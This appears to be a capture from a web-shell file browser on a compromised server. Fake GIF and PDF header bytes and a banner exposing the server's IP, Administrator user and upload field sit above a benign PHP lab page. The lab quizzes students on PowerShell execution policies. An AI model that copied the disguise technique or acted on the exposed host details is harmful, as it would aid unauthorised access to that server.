GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1861/Labs/Labx06x/ |
Upload File : |
<? // JimMartinson/CST1861/Labs/Lab03/index.php $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. require('application.phpinc'); require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. ?> <style type="text/css">b {white-space:nowrap;}</style> <p> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend> The purpose of this lab is to demonstrate your understanding of powershell security. <br><?=$gradeNote?> <ol class="count"> <li> Create a directory called <b><?=$evaluationName?></b>. We will use it for all work performed in this lab. </li> <li> Create a text document called <b><?=$saveFilename?>.txt</b> in your <b><?=$evaluationName?></b> directory. </li> <li>Answer the following 5 questions in the file: <br><span class="note">Include the question number before each answer.</span> <ol type="1"> <li>This question has two parts: <br>a. What command is used to find out what the execution policy for powershell scripts is on a computer? <br>b. What command is used to set the execution policy for powershell scripts on a computer? </li> <li>What are the six possible execution policy values? </li> <li>Which execution policy allows only .ps1 scripts and configuration files to run that are signed by a trusted publisher? </li> <li>Which execution policy allows local .ps1 scripts and configuration files to run but requires that all scripts and configuration files downloaded from the Internet be signed by a trusted publisher? </li> <li>What command could be used to remotly set the execution policy of the computer <b>PC01</b> to <b>RemoteSigned</b>? </li> </ol> </li> <li>Turn in your assignment: <ol type="a"> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"> for grading.</li> </ol> </li> </ol> <?=$gradeNote?> </fieldset> <? #$deductionPoints = $evaluationInfo['evaluationPoints'] / 10; if ( $deductionPoints == 1 ) { $deductionPoints = '1 point'; } else { $deductionPoints = $deductionPoints.' points'; } require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>